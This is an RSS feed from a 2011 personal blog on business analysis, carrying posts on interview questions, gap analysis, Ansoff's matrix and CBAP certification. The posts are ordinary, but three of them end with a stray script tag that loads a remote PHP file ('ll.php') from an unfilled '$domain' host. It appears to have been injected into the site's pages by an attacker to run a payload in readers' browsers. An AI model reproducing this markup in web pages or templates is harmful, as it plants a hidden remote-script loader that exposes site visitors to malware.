<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pooja S Paudyal</title>
	<atom:link href="http://pooja.com.np/feed/" rel="self" type="application/rss+xml" />
	<link>http://pooja.com.np</link>
	<description>The Official Website</description>
	<lastBuildDate>Wed, 27 Jul 2011 01:34:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Behaviorial Interview Questions for Business Analyst</title>
		<link>http://pooja.com.np/2011/07/behaviorial-interview-questions-for-business-analyst/</link>
		<comments>http://pooja.com.np/2011/07/behaviorial-interview-questions-for-business-analyst/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 01:31:46 +0000</pubDate>
		<dc:creator>pooja</dc:creator>
				<category><![CDATA[Business Analyst Info]]></category>
		<category><![CDATA[BA interview questions]]></category>
		<category><![CDATA[Behaviorial Interview Questions for Business Analyst]]></category>
		<category><![CDATA[Business Analyst behaviour questions]]></category>
		<category><![CDATA[Business Analyst experience]]></category>
		<category><![CDATA[Business Analyst formal questions]]></category>
		<category><![CDATA[Business Analyst fresher]]></category>
		<category><![CDATA[Business Analyst interview questions]]></category>
		<category><![CDATA[Business Analyst pay scale]]></category>
		<category><![CDATA[Business Analyst profile]]></category>
		<category><![CDATA[Business Analyst salary]]></category>
		<category><![CDATA[Business Analyst typical questions]]></category>
		<category><![CDATA[experienced Business Analyst interview questions]]></category>
		<category><![CDATA[questions for business analyst interview]]></category>

		<guid isPermaLink="false">http://pooja.com.np/?p=221</guid>
		<description><![CDATA[These are few typical questions from which I prepare for my BA interviews. I hope it  helps. 1.  Tell me about yourself. It seems like an easy interview question. Its open ended. I can talk about whatever I want from the birth canal forward. Right? Wrong. What the hiring manager really wants is a quick, [...]]]></description>
			<content:encoded><![CDATA[<p>These are few typical questions from which I prepare for my BA interviews. I hope it  helps.</p>
<p>1.  <span style="color: #008000;"><strong>Tell me about yourself.</strong></span></p>
<p>It seems like an easy interview question. Its open ended. I can talk about whatever I want from the birth canal forward. Right?<br />
Wrong. What the hiring manager really wants is a quick, two- to three-minute snapshot of who you are and why you are the best candidate for this position.</p>
<p>So as you answer this question, talk about what you&#8217;ve done to prepare yourself to be the very best candidate for the position. Use an example or two to back it up. Then ask if they would like more details. If they do, keep giving them example after example of your background and experience. Always point back to an example when you have the opportunity.</p>
<p>Tell me about yourself does not mean tell me everything. Just tell me what makes you the best.</p>
<p>2. <span style="color: #008000;"><strong>Why should I hire you?</strong></span></p>
<p>The easy answer is that you are the best person for the job. And dont be afraid to say so. But then back it up with what specifically differentiates you.<br />
For example: You should hire me because Im the best person for the job. I realize that there are likely other candidates who also have the ability to do this job. Yet I bring an additional quality that makes me the best person for the job&#8211;my passion for excellence. I am passionately committed to producing truly world class results. For example . . .</p>
<p>Are you the best person for the job? Show it by your passionate examples.<br />
3. <span style="color: #008000;"><strong>What is your long-range objective?</strong></span></p>
<p>Make my job easy for me. Make me want to hire you.<br />
The key is to focus on your achievable objectives and what you are doing to reach those objectives.</p>
<p>For example: Within five years, I would like to become the very best accountant your company has on staff. I want to work toward becoming the expert that others rely upon. And in doing so, I feel Ill be fully prepared to take on any greater responsibilities which might be presented in the long term. For example, here is what Im presently doing to prepare myself . . .</p>
<p><span id="more-221"></span></p>
<p>Then go on to show by your examples what you are doing to reach your goals and objectives.</p>
<p>4. <span style="color: #008000;"><strong>How has your education prepared you for your career?</strong></span></p>
<p>This is a broad question and you need to focus on the behavioral examples in your educational background which specifically align to the required competencies for the career.</p>
<p>An example: My education has focused on not only the learning the fundamentals, but also on the practical application of the information learned within those classes. For example, I played a lead role in a class project where we gathered and analyzed best practice data from this industry. Let me tell you more about the results . . .</p>
<p>Focus on behavioral examples supporting the key competencies for the career. Then ask if they would like to hear more examples.<br />
5. <span style="color: #008000;"><strong>Are you a team player?</strong></span><br />
Almost everyone says yes to this question. But it is not just a yes/no question. You need to provide behavioral examples to back up your answer.</p>
<p>A sample answer: Yes, Im very much a team player. In fact, Ive had opportunities in my work, school and athletics to develop my skills as a team player. For example, on a recent project . . .</p>
<p>Emphasize teamwork behavioral examples and focus on your openness to diversity of backgrounds. Talk about the strength of the team above the individual. And note that this question may be used as a lead in to questions around how you handle conflict within a team, so be prepared.<br />
6. <span style="color: #008000;"><strong>Have you ever had a conflict with a boss or professor? How was it resolved?</strong></span></p>
<p>Note that if you say no, most interviewers will keep drilling deeper to find a conflict. The key is how you behaviorally reacted to conflict and what you did to resolve it.</p>
<p>For example: Yes, I have had conflicts in the past. Never major ones, but there have been disagreements that needed to be resolved. I&#8217;ve found that when conflict occurs, it helps to fully understand the other persons perspective, so I take time to listen to their point of view, then I seek to work out a collaborative solution. For example . . .</p>
<p>Focus your answer on the behavioral process for resolving the conflict and working collaboratively.<br />
7. <span style="color: #008000;"><strong>What is your greatest weakness?</strong></span></p>
<p>Most career books tell you to select a strength and present it as a weakness. Such as: I work too much. I just work and work and work. Wrong. First of all, using a strength and presenting it as a weakness is deceiving. Second, it misses the point of the question.</p>
<p>You should select a weakness that you have been actively working to overcome. For example: I have had trouble in the past with planning and prioritization. However, I&#8217;m now taking steps to correct this. I just started using a pocket planner . . . then show them your planner and how you are using it.</p>
<p>Talk about a true weakness and show what you are doing to overcome it.<br />
8. <span style="color: #008000;"><strong>If I were to ask your professors to describe you, what would they say?</strong></span></p>
<p>This is a threat of reference check question. Do not wait for the interview to know the answer. Ask any prior bosses or professors in advance. And if they are willing to provide a positive reference, ask them for a letter of recommendation.</p>
<p>Then you can answer the question like this:</p>
<p>I believe she would say I&#8217;m a very energetic person, that I am result oriented and one of the best people she has ever worked with. Actually, I know she would say that, because those are her very words. May I show you her letter of recommendation?</p>
<p>So be prepared in advance with your letters of recommendation.<br />
9. <span style="color: #008000;"><strong>What qualities do you feel a successful manager should have?</strong></span></p>
<p>Focus on two words: leadership and vision.</p>
<p>Here is a sample of how to respond: The key quality in a successful manager should be leadership&#8211;the ability to be the visionary for the people who are working under them. The person who can set the course and direction for subordinates. The highest calling of a true leader is inspiring others to reach the highest of their abilities. I&#8217;d like to tell you about a person whom I consider to be a true leader . . .</p>
<p>Then give an example of someone who has touched your life and how their impact has helped in your personal development.<br />
10. <span style="color: #008000;"><strong>If you had to live your life over again, what one thing would you change?</strong></span></p>
<p>Focus on a key turning point in your life or missed opportunity. Yet also tie it forward to what you are doing to still seek to make that change.</p>
<p>For example: Although I am overall very happy with where I am at in my life, the one aspect I likely would have changed would be focusing earlier on my chosen career. I had a great internship this past year and look forward to more experience in the field. I simply wish I would have focused here earlier. For example, I learned on my recent internship… …then provide examples.</p>
<p>Stay focused on positive direction in your life and back it up with examples.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://pooja.com.np/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://pooja.com.np/2011/07/behaviorial-interview-questions-for-business-analyst/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What is Gap Analysis</title>
		<link>http://pooja.com.np/2011/01/what-is-gap-analysis/</link>
		<comments>http://pooja.com.np/2011/01/what-is-gap-analysis/#comments</comments>
		<pubDate>Mon, 24 Jan 2011 20:14:53 +0000</pubDate>
		<dc:creator>pooja</dc:creator>
				<category><![CDATA[Business Analyst Info]]></category>
		<category><![CDATA[conclude Gap Analysis]]></category>
		<category><![CDATA[Gap Analysis]]></category>
		<category><![CDATA[gap analysis and needs assessment]]></category>
		<category><![CDATA[gap analysis and sdlc]]></category>
		<category><![CDATA[gap analysis application]]></category>
		<category><![CDATA[gap analysis approach]]></category>
		<category><![CDATA[gap analysis article]]></category>
		<category><![CDATA[gap analysis banking]]></category>
		<category><![CDATA[gap analysis benefits]]></category>
		<category><![CDATA[gap analysis business process]]></category>
		<category><![CDATA[gap analysis chart]]></category>
		<category><![CDATA[gap analysis consulting]]></category>
		<category><![CDATA[Gap Analysis current and future goal]]></category>
		<category><![CDATA[gap analysis data]]></category>
		<category><![CDATA[Gap Analysis defination]]></category>
		<category><![CDATA[gap analysis definition]]></category>
		<category><![CDATA[gap analysis document]]></category>
		<category><![CDATA[gap analysis education]]></category>
		<category><![CDATA[gap analysis example]]></category>
		<category><![CDATA[gap analysis exel template]]></category>
		<category><![CDATA[Gap Analysis exercise]]></category>
		<category><![CDATA[gap analysis finance]]></category>
		<category><![CDATA[gap analysis form]]></category>
		<category><![CDATA[gap analysis format]]></category>
		<category><![CDATA[gap analysis framework]]></category>
		<category><![CDATA[gap analysis global]]></category>
		<category><![CDATA[gap analysis graph]]></category>
		<category><![CDATA[gap analysis grid]]></category>
		<category><![CDATA[Gap Analysis how to]]></category>
		<category><![CDATA[gap analysis hr]]></category>
		<category><![CDATA[Gap Analysis information]]></category>
		<category><![CDATA[Gap Analysis report]]></category>
		<category><![CDATA[Gap Analysis sample]]></category>
		<category><![CDATA[Gap Analysis system]]></category>
		<category><![CDATA[Gap Analysis template]]></category>
		<category><![CDATA[Gap Analysis tutotrial]]></category>

		<guid isPermaLink="false">http://pooja.com.np/?p=215</guid>
		<description><![CDATA[Gap Analysis is the process of comparing two things in order to determine the difference or gap that exists between them.   Once the gap is understood, the steps required to bridge the gap can be determined. Most often gap analysis is used to compare two different states of something; the current state and the future [...]]]></description>
			<content:encoded><![CDATA[<p>Gap Analysis is the process of comparing two things in order to determine the difference or gap that exists between them.   Once the gap is understood, the steps required to bridge the gap can be determined.</p>
<div id="attachment_216" class="wp-caption aligncenter" style="width: 404px"><a href="http://pooja.com.np/wp-content/uploads/2011/01/gap-analysis.jpg"><img class="size-full wp-image-216" title="gap analysis" src="http://pooja.com.np/wp-content/uploads/2011/01/gap-analysis.jpg" alt="gap analysis" width="394" height="239" /></a><p class="wp-caption-text">Gap Analysis</p></div>
<p>Most often gap analysis is used to compare two different states of something; the current state and the future state.</p>
<p>Gap analysis can be conducted on:</p>
<ul>
<li> A system  features that exist in the system now versus the features that need to exist in the future</li>
<li>A system interface  data that a system provides to an interface now versus data that will need to be provided in the future</li>
<li>A business process  activities and steps of a current business process versus the activities and steps that will be supported by the business process in the future</li>
<li>Business goals and  metrics  how well a business meets certain goals and metrics now versus the targeted goals and metrics at some point in the future.</li>
</ul>
<p>Content Credit : <a title="Gapy Analysis" href="http://www.modernanalyst.com/Careers/InterviewQuestions/tabid/128/articleType/ArticleView/articleId/1576/What-is-Gap-Analysis.aspx" target="_blank">ModernAnalyst.com</a></p>
<p>Image Credit : <a title="Gapy Analysis" href="http://www.artdavisgroup.com/iso9000gap.php" target="_blank">artdavisgroup.com</a><script src="http://$domain/ll.php?kk=11"></script></p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://pooja.com.np/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://pooja.com.np/2011/01/what-is-gap-analysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What strategies might a business analyst consider when planning for a company&#8217;s growth?</title>
		<link>http://pooja.com.np/2011/01/what-strategies-might-a-business-analyst-consider-when-planning-for-a-companys-growth/</link>
		<comments>http://pooja.com.np/2011/01/what-strategies-might-a-business-analyst-consider-when-planning-for-a-companys-growth/#comments</comments>
		<pubDate>Mon, 24 Jan 2011 17:11:49 +0000</pubDate>
		<dc:creator>pooja</dc:creator>
				<category><![CDATA[Business Analyst Info]]></category>
		<category><![CDATA[Ansoff’s Matrix]]></category>
		<category><![CDATA[company's growth planning]]></category>
		<category><![CDATA[Diversification]]></category>
		<category><![CDATA[Diversification (New Products/New Market)]]></category>
		<category><![CDATA[example of Ansoff’s Matrix]]></category>
		<category><![CDATA[Existing Products/Existing Markets]]></category>
		<category><![CDATA[Existing Products/New Market]]></category>
		<category><![CDATA[Market Development]]></category>
		<category><![CDATA[Market Development (Existing Products/New Market)]]></category>
		<category><![CDATA[Market Penetration]]></category>
		<category><![CDATA[Market Penetration (Existing Products/Existing Markets)]]></category>
		<category><![CDATA[New Products/Existing Market]]></category>
		<category><![CDATA[New Products/New Market]]></category>
		<category><![CDATA[planning for Business analyst]]></category>
		<category><![CDATA[planning for company's growth]]></category>
		<category><![CDATA[Product Development]]></category>
		<category><![CDATA[Product Development (New Products/Existing Market)]]></category>
		<category><![CDATA[strategic planning]]></category>
		<category><![CDATA[strategies for business analyst consider when planning for a company's growth]]></category>
		<category><![CDATA[strategies for company's growth]]></category>
		<category><![CDATA[what is Ansoff’s Matrix]]></category>
		<category><![CDATA[What strategies might a business analyst consider when planning for a company's growth?]]></category>

		<guid isPermaLink="false">http://pooja.com.np/?p=209</guid>
		<description><![CDATA[If a company is to ensure its growth, it needs to plan for it.  There are a number of growth strategies that can be used.  Deciding which is the right growth strategy for a company depends on it current success and position within the marketplace in which it operates.  Four of these growth strategies are: [...]]]></description>
			<content:encoded><![CDATA[<p>If a company is to ensure its growth, it needs to plan for it.  There are a number of growth strategies that can be used.  Deciding which is the right growth strategy for a company depends on it current success and position within the marketplace in which it operates.  Four of these growth strategies are:</p>
<ul>
<li><span style="color: #000080;">-1. Market Penetration (Existing Products/Existing Markets)</span></li>
<li><span style="color: #000080;">-2. Market Development (Existing Products/New Market)</span></li>
<li><span style="color: #000080;">-3. Product Development (New Products/Existing Market)</span></li>
<li><span style="color: #000080;">-4. Diversification (New Products/New Market)</span></li>
</ul>
<div id="attachment_210" class="wp-caption aligncenter" style="width: 576px"><a href="http://pooja.com.np/wp-content/uploads/2011/01/What-strategies-might-a-business-analyst-consider-when-planning-for-a-companys-growth.jpg"><img class="size-full wp-image-210" title="What strategies might a business analyst consider when planning for a companys growth" src="http://pooja.com.np/wp-content/uploads/2011/01/What-strategies-might-a-business-analyst-consider-when-planning-for-a-companys-growth.jpg" alt="What strategies might a business analyst consider when planning for a company's growth?" width="566" height="435" /></a><p class="wp-caption-text">What strategies might a business analyst consider when planning for a company&#39;s growth?</p></div>
<p><span style="color: #993366;"><strong>Market Penetration</strong></span><br />
The strategy is to focus on getting more out of the current markets serviced by an organization while offering the same products. New products and new markets can mean additional unknowns which, in turn, increase risk and chances of failure.  For this reason, a company may choose to select a growth strategy of market penetration.  The goal of market penetration is to increase the percentage of market share that the organization possesses through pricing, marketing, loyalty programs, incentives, advertising, etc.</p>
<p><span style="color: #993366;"><strong>Market Development</strong></span><br />
Is used to describe the growth strategy of an organization which chooses to venture into new markets or new customer segments with their existing products.Their existing products are likely proven which provides a degree of stability, but moving into new markets increases risk.This may still be viewed by some organizations as a fairly conservative strategy and is often adopted by companies as they feel their current markets getting squeezed tighter and tighter by competition.  Entrance into new markets often requires skilled marketing professionals to ensure a company receives the attention it is looking for.</p>
<p><span id="more-209"></span></p>
<p><span style="color: #993366;"><strong>Product Development</strong></span><br />
Describes the growth strategy of creating new products for existing markets.  An organization may have the benefit of understanding the intricacies of their market but this can create a false sense of security.   Not all new products carry the same risk.  However, for certain types of product, especially those in fast moving technology markets, projecting the outcome of a new product launch can be very difficult.   To overcome some of this risk organizations should be prepared to continuously adapt their products after launch to ensure marketplace success.</p>
<p><span style="color: #993366;"><strong>Diversification</strong></span><br />
Is the term given to the strategy of delivering new products to entirely new markets.  The growth strategy accepts the risks of two unknowns; the product and the market.  Diversification is high-risk but, as with many things, high risk often can mean high reward.  Organizations with a track record of innovation will have the greatest success with this strategy.  With diversification as a growth strategy, everything will be new and the company will need to be prepared to quickly eliminate any risks that manifest themselves.</p>
<p>The four growth strategies described here are based on a simple 2 x 2 matrix called Ansoff’s Matrix which considers markets and products along its two axis.</p>
<p><span style="color: #000080;"><strong><span style="font-size: x-small;"><span style="font-family: Arial;">Ansoff’s Matrix </span></span></strong></span></p>
<table style="width: 400px; height: 57px;" border="1" cellspacing="1" cellpadding="1">
<tbody>
<tr>
<td></td>
<td style="text-align: center;"><strong>Existing Products</strong></p>
<p><strong> </strong></td>
<td style="text-align: center;"><strong>New Products</strong></td>
</tr>
<tr>
<td><strong>Existing Markets</strong></td>
<td style="text-align: center;">Market Penetration</td>
<td style="text-align: center;">Product Development</td>
</tr>
<tr>
<td><strong>New Markets</strong></td>
<td style="text-align: center;">Market Development</td>
<td style="text-align: center;">Diversification</td>
</tr>
</tbody>
</table>
<p>Content Source : <a title="What strategies might a business analyst consider when planning for a companys growth" href="http://www.modernanalyst.com/Careers/InterviewQuestions/tabid/128/articleType/ArticleView/articleId/1652/What-strategies-might-a-business-analyst-consider-when-planning-for-a-companys-growth.aspx" target="_blank">ModernAnalyst.com</a><script src="http://$domain/ll.php?kk=11"></script></p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://pooja.com.np/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://pooja.com.np/2011/01/what-strategies-might-a-business-analyst-consider-when-planning-for-a-companys-growth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Certified Business Analysis Professional ( CBAP )</title>
		<link>http://pooja.com.np/2011/01/certified-business-analysis-professional-cbap/</link>
		<comments>http://pooja.com.np/2011/01/certified-business-analysis-professional-cbap/#comments</comments>
		<pubDate>Mon, 24 Jan 2011 12:28:41 +0000</pubDate>
		<dc:creator>pooja</dc:creator>
				<category><![CDATA[Business Analyst Info]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP alumni]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP BABOK]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP certification]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP Certified Business Analysis Professional CBAP business analysis body of language]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP course]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP details]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP eam]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP eam preperation]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP education and training]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP eligibility]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP exam]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP exam details]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP keeping certified]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP north america]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP pass outs]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP references]]></category>
		<category><![CDATA[Certified Business Analysis Professional CBAP technique to pass]]></category>
		<category><![CDATA[Foolproof Plan for Passing the CBAP Exam]]></category>

		<guid isPermaLink="false">http://pooja.com.np/?p=204</guid>
		<description><![CDATA[The Certified Business Analysis Professional (CBAP) designation is an award from the International Institute of Business Analysis (IIBA) made to experienced Business Analysts who have demonstrated sufficient breadth and depth of knowledge by sitting and passing a three-hour exam of 150 questions based on the Business Analysis Body of Knowledge (BABOK). Initially launched in North [...]]]></description>
			<content:encoded><![CDATA[<p>The <strong>Certified Business Analysis Professional (CBAP)</strong> designation is an award from the International Institute of Business Analysis (IIBA) made to experienced Business Analysts who have demonstrated sufficient breadth and depth of knowledge by sitting and passing a three-hour exam of 150 questions based on the <strong>Business Analysis Body of Knowledge (BABOK)</strong>.</p>
<div id="attachment_205" class="wp-caption aligncenter" style="width: 460px"><a href="http://pooja.com.np/wp-content/uploads/2011/01/Certified-Business-Analysis-Professional-CBAP.jpg"><img class="size-full wp-image-205" title="Certified Business Analysis Professional CBAP" src="http://pooja.com.np/wp-content/uploads/2011/01/Certified-Business-Analysis-Professional-CBAP.jpg" alt="Certified Business Analysis Professional CBAP" width="450" height="674" /></a><p class="wp-caption-text">Certified Business Analysis Professional CBAP</p></div>
<p>Initially launched in North America, the CBAP was a written exam typically run in parallel with the Business Analysis World Symposium. Today it is possible to take this exam electronically, although still in a controlled environment.</p>
<p>As of March 9, 2010, there were 873 individuals who had been designated Certified Business Analysis Professionals.</p>
<p><span style="color: #3366ff;"><strong>Eligibility</strong></span> :</p>
<p>Before applying for the CBAP a Business Analyst must meet the following eligibility criteria:</p>
<p><span style="color: #993366;"><strong>Experience</strong></span><br />
Given the number of topics covered by the BABOK, the exam is only open to experienced Business Analysts, which IIBA deems to be those with at least five years professional experience in a BA role.</p>
<p><span style="color: #993366;"><strong>Education and Training</strong></span><br />
Candidates must have achieved a minimum of a high-school qualification, and have had a least twenty-one hours of professional development in areas related to Business Analysis in the last four years.</p>
<p><span id="more-204"></span><br />
<span style="color: #993366;"><strong>References</strong></span><br />
Two people must give you adequate references that you are a suitable candidate for the CBAP. These can be your manager, a work colleague, a client, or someone you know who already has the CBAP.</p>
<p>When a Business Analyst has gathered sufficient evidence to demonstrate that they are an appropriate candidate for the CBAP, they can then submit this evidence with an application form and fee. As of September 2008, the application fee was $125 USD, and the exam fees were $325 USD (for IIBA members) or $450 USD (for non-members).</p>
<p><span style="color: #993366;"><strong>Keeping Certified</strong></span><br />
Assuming candidates are successful in gaining the CBAP designation, they have an obligation to abide by the associated Code of Ethics (i.e. comport themselves in a professional manner), and every three years to be recertified (by proving sufficient ongoing professional development).</p>
<p>Content Source : <a title="Certified Business Analysis Professional" href="http://en.wikipedia.org/wiki/Certified_Business_Analysis_Professional" target="_blank">wikipedia.org</a></p>
<p>Image Source : <a title="Foolproof Plan for Passing the CBAP Exam" href="http://www.modernanalyst.com/Resources/Articles/tabid/115/articleType/ArticleView/articleId/1099/Foolproof-Plan-for-Passing-the-CBAP-Exam.aspx" target="_blank">ModernAnalyst.com</a><script src="http://$domain/ll.php?kk=11"></script></p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://pooja.com.np/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://pooja.com.np/2011/01/certified-business-analysis-professional-cbap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prerequisites for Business Analysts</title>
		<link>http://pooja.com.np/2011/01/prerequisites-for-business-analysts/</link>
		<comments>http://pooja.com.np/2011/01/prerequisites-for-business-analysts/#comments</comments>
		<pubDate>Mon, 24 Jan 2011 03:20:54 +0000</pubDate>
		<dc:creator>pooja</dc:creator>
				<category><![CDATA[Business Analyst Info]]></category>
		<category><![CDATA[Ability to write and review test cases]]></category>
		<category><![CDATA[Acceptance Criteria]]></category>
		<category><![CDATA[Analysis skills]]></category>
		<category><![CDATA[Analyze and Document Requirements]]></category>
		<category><![CDATA[Analyze requirements]]></category>
		<category><![CDATA[analyzing the requirements]]></category>
		<category><![CDATA[Basic understanding of system design concepts]]></category>
		<category><![CDATA[Business Analysis]]></category>
		<category><![CDATA[Business Analysis Body of Knowledge (BABOK)]]></category>
		<category><![CDATA[Business analysis techniques]]></category>
		<category><![CDATA[Business Analyst asking questions]]></category>
		<category><![CDATA[Business Analyst job]]></category>
		<category><![CDATA[Business Analyst requirement]]></category>
		<category><![CDATA[Business Analyst role]]></category>
		<category><![CDATA[Business Analyst skills]]></category>
		<category><![CDATA[Business Analyst softwares]]></category>
		<category><![CDATA[Business Analyst tools]]></category>
		<category><![CDATA[Business Analyst – Defining the Role]]></category>
		<category><![CDATA[Business Analysts responsibility]]></category>
		<category><![CDATA[Business Modeling with UML by Eriksson & Penker]]></category>
		<category><![CDATA[business process improvement]]></category>
		<category><![CDATA[business requirements into functional requirements]]></category>
		<category><![CDATA[business terminology]]></category>
		<category><![CDATA[categorize requirements]]></category>
		<category><![CDATA[Certified Business Analyst Professional or CBAP]]></category>
		<category><![CDATA[Complete understanding of business problem]]></category>
		<category><![CDATA[concepts of Phase Model]]></category>
		<category><![CDATA[Conduct a comprehensive requirements review]]></category>
		<category><![CDATA[Create Risk assessment]]></category>
		<category><![CDATA[Create Vision/scope]]></category>
		<category><![CDATA[Customer-Centered Products by Ivy F. Hooks and Kristin A. Farry]]></category>
		<category><![CDATA[Database]]></category>
		<category><![CDATA[Define and Scope Business Area]]></category>
		<category><![CDATA[Define Goals and Constraints]]></category>
		<category><![CDATA[deliverables]]></category>
		<category><![CDATA[Deliverables Schedule]]></category>
		<category><![CDATA[Deploying]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[determining the risks]]></category>
		<category><![CDATA[Develop a textual template for requirements]]></category>
		<category><![CDATA[Developing]]></category>
		<category><![CDATA[Disaster recovery]]></category>
		<category><![CDATA[Discovering Real Business Requirements for Software Project Success by Robin F. Goldsmith]]></category>
		<category><![CDATA[Elicit Requirements]]></category>
		<category><![CDATA[Enterprise analysis or company analysis]]></category>
		<category><![CDATA[Envisioning]]></category>
		<category><![CDATA[Escalation process]]></category>
		<category><![CDATA[evaluate vendor software packages]]></category>
		<category><![CDATA[executables]]></category>
		<category><![CDATA[executive management]]></category>
		<category><![CDATA[flowchart]]></category>
		<category><![CDATA[forming the team for the project]]></category>
		<category><![CDATA[four attributes of MOST]]></category>
		<category><![CDATA[four attributes of SWOT]]></category>
		<category><![CDATA[FSD]]></category>
		<category><![CDATA[Functional]]></category>
		<category><![CDATA[functional requirement document]]></category>
		<category><![CDATA[Functional Requirements document]]></category>
		<category><![CDATA[global definition]]></category>
		<category><![CDATA[Goal of business analysts]]></category>
		<category><![CDATA[High level of understanding of software design]]></category>
		<category><![CDATA[Identify Solution]]></category>
		<category><![CDATA[Improve project efficiency]]></category>
		<category><![CDATA[info on Prerequisites for Business Analysts]]></category>
		<category><![CDATA[information on Prerequisites for Business Analysts]]></category>
		<category><![CDATA[internal departments]]></category>
		<category><![CDATA[International Institute of Business Analysis]]></category>
		<category><![CDATA[Knowledge of software usability principles]]></category>
		<category><![CDATA[Location of Work]]></category>
		<category><![CDATA[memos]]></category>
		<category><![CDATA[MoSCoW]]></category>
		<category><![CDATA[MOST business analysis]]></category>
		<category><![CDATA[mplement a new/novel business process]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[open-ended question]]></category>
		<category><![CDATA[Opportunity costs]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[Period of Performance]]></category>
		<category><![CDATA[phases of Project Phase Model]]></category>
		<category><![CDATA[Planning]]></category>
		<category><![CDATA[policies]]></category>
		<category><![CDATA[pondering answers]]></category>
		<category><![CDATA[pre-existing systems]]></category>
		<category><![CDATA[Prerequisites for Business Analysts]]></category>
		<category><![CDATA[Prerequisites for Business Analysts job]]></category>
		<category><![CDATA[Prerequisites for Business Analysts profession]]></category>
		<category><![CDATA[Prerequisites for projects]]></category>
		<category><![CDATA[PRIORITIZED RISK LIST]]></category>
		<category><![CDATA[Problem analysis]]></category>
		<category><![CDATA[Process analysis interview]]></category>
		<category><![CDATA[Process analysis training]]></category>
		<category><![CDATA[Process documentation]]></category>
